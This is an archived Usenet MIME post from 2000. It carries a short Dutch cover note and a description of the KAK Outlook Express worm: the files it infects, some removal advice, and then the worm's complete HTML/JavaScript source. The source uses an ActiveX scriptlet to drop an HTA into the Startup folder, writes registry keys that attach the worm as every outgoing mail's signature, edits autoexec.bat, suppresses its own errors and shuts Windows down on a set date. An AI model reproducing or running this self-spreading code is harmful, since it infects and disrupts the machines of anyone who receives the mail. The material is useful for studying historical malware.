🚀 go-pugleaf

This is a multi-part message in MIME format.
--------------4DF15BD8D357A7F3EA7259D9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Dit zou best interessant kunnen zijn. 'k Heb zelf niet meer de tijd om
er grondig naar te kijken. De experts mogen me altijd corrigeren.
--------------4DF15BD8D357A7F3EA7259D9
Content-Type: text/plain; charset=iso-8859-1;
 name="INFO"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
 filename="INFO"

Sun Aug 13 21:41:02 CEST 2000

All this information comes without any warranty. Actually, I don't even k=
now
wether the virus works since I haven't tested it. And I do not know who w=
rote
the original code.

<tg@skynet.be>

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D

Description:

Virus attached itself to each outgoing mail sent in Outlook as signature.=

All error output is catched and hidden.
Shutdown Windows in certain circumstances.

Platform: M$ Windows (English, French)
Mail client: Outlook Express 5.0
Browser: MSIE 5.x Communicator 4.x =

Uses: javascript, ActiveX

Infected files:
	several registry entries
	c:\autoexec.bat
	c:\windows\startm~1\programs\startup\kak.hta
	c:\windows\kak.htm
	c:\AE.KAK
	c:\autoexec.bat

Advise:
	- disable ActiveX, javascript
	- don't use Outlook
	- switch to GNU/Linux ;-)

Solution:
	- remove the signature from outgoing mail (don't know how)
	- delete c:\windows\startm~1\programs\startup\kak.hta

Source:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" http-equiv=3DContent-Ty=
pe>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>

<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC =

id=3Dscr></OBJECT></DIV>

(Mail contents deleted here)

<DIV><FONT size=3D2><FONT face=3D"Comic Sans MS">
<SCRIPT><!--
function sErr(){return true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D=
"Z<HTML><HEAD><TITLE>Driver Memory Error</"+"TITLE><HTA:APPLICATION ID=3D=
\"hO\" WINDOWSTATE=3DMinimize></"+"HEAD><BODY BGCOLOR=3D#CCCCCC><object i=
d=3D'wsh' classid=3D'clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"obj=
ect><SCRIPT>function sEr(){self.close();return true;}window.onerror=3DsEr=
;fs=3Dnew ActiveXObject('Scripting.FileSystemObject');wd=3D'C:\\\\Windows=
\\\\';fl=3Dfs.GetFolder(wd+'Applic~1\\\\Identities');sbf=3Dfl.SubFolders;=
for(var mye=3Dnew Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=3Dmye.i=
tem();ids=3Dnew String(idd);idn=3Dids.slice(31);fic=3Didn.substring(1,9);=
kfr=3Dwd+'MENUD=C9~1\\\\PROGRA~1\\\\D=C9MARR~1\\\\kak.hta';ken=3Dwd+'STAR=
TM~1\\\\Programs\\\\StartUp\\\\kak.hta';k2=3Dwd+'System\\\\'+fic+'.hta';k=
k=3D(fs.FileExists(kfr))?kfr:ken;aek=3D'C:\\\\AE.KAK';aeb=3D'C:\\\\Autoex=
ec.bat';if(!fs.FileExists(aek)){re=3D/kak.hta/i;if(hO.commandLine.search(=
re)!=3D-1){f1=3Dfs.GetFile(aeb);f1.Copy(aek);t1=3Df1.OpenAsTextStream(8);=
pth=3D(kk=3D=3Dkfr)?wd+'MENUD?~1\\\\PROGRA~1\\\\D?MARR~1\\\\kak.hta':ken;=
t1.WriteLine('@echo off>'+pth);t1.WriteLine('del '+pth);t1.Close();}}if(!=
fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(k2).Attributes=3D2;}t2=3D=
fs.CreateTextFile(wd+'kak.reg');t2.write('REGEDIT4');t2.WriteBlankLines(2=
);ky=3D'[HKEY_CURRENT_USER\\\\Identities\\\\'+idn+'\\\\Software\\\\Micros=
oft\\\\Outlook Express\\\\5.0';sg=3D'\\\\signatures';t2.WriteLine(ky+sg+'=
]');t2.Write('\"Default Signature\"=3D\"00000000\"');t2.WriteBlankLines(2=
);t2.WriteLine(ky+sg+'\\\\00000000]');t2.WriteLine('\"name\"=3D\"Signatur=
e #1\"');t2.WriteLine('\"type\"=3Ddword:00000002');t2.WriteLine('\"text\"=
=3D\"\"');t2.Write('\"file\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.=
WriteBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature Flags\"=3Dd=
word:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCAL_MACHINE\\=
\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]');t2.Write('=
\"cAg0u\"=3D\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.hta\"');t2.W=
riteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe -s '+wd+'kak.reg');t=
3=3Dfs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><BODY><DIV style=3D=
\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT classid=3Dcls=
id:06290BD5-48AA-11D2-8432-006008C3FBFC id=3Dscr></"+"OBJECT></"+"DIV>');=
t4=3Dfs.OpenTextFile(k2,1);while(t4.Read(1)!=3D'Z');t3.WriteLine('<SCRIPT=
><!--');t3.write('function sErr(){return true;}window.onerror=3DsErr;scr.=
Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095);t4.close();rd=3D/\\\\/g;re=3D/=
\"/g;rf=3D/<\\//g;rt=3Drs.replace(rd,'\\\\\\\\').replace(re,'\\\\\"').rep=
lace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\";la=3D(navigator.systemLanguage)=
?navigator.systemLanguage:navigator.language;scr.Path=3D(la=3D=3D\"fr\")?=
\"C:\\\\\\\\windows\\\\\\\\Menu D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9m=
arrage\\\\\\\\kak.hta\":\"C:\\\\\\\\windows\\\\\\\\Start Menu\\\\\\\\Prog=
rams\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.userAgent.toLowerCas=
e();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigator.appVersion)>4)=
)||(agt.indexOf(\"msie 5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+=
'SCRIPT></"+"'+'OBJECT></"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile=
(wd+'kak.htm').Attributes=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();=
if(d.getDate()=3D=3D1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft says =
not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close=
();</"+"SCRIPT>S3 driver memory alloc failed &nbsp; !]]%%%%%</"+"BODY></"=
+"HTML>";la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigat=
or.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows\\Menu D=E9marrer\\Prog=
rammes\\D=E9marrage\\kak.hta":"C:\\windows\\Start Menu\\Programs\\StartUp=
\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase();if(((agt.indexOf("msie=
")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie 5.")!=3D=
-1))scr.write();
//--></SCRIPT>
</OBJECT></FONT></FONT></DIV></BODY></HTML>

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D

--------------4DF15BD8D357A7F3EA7259D9--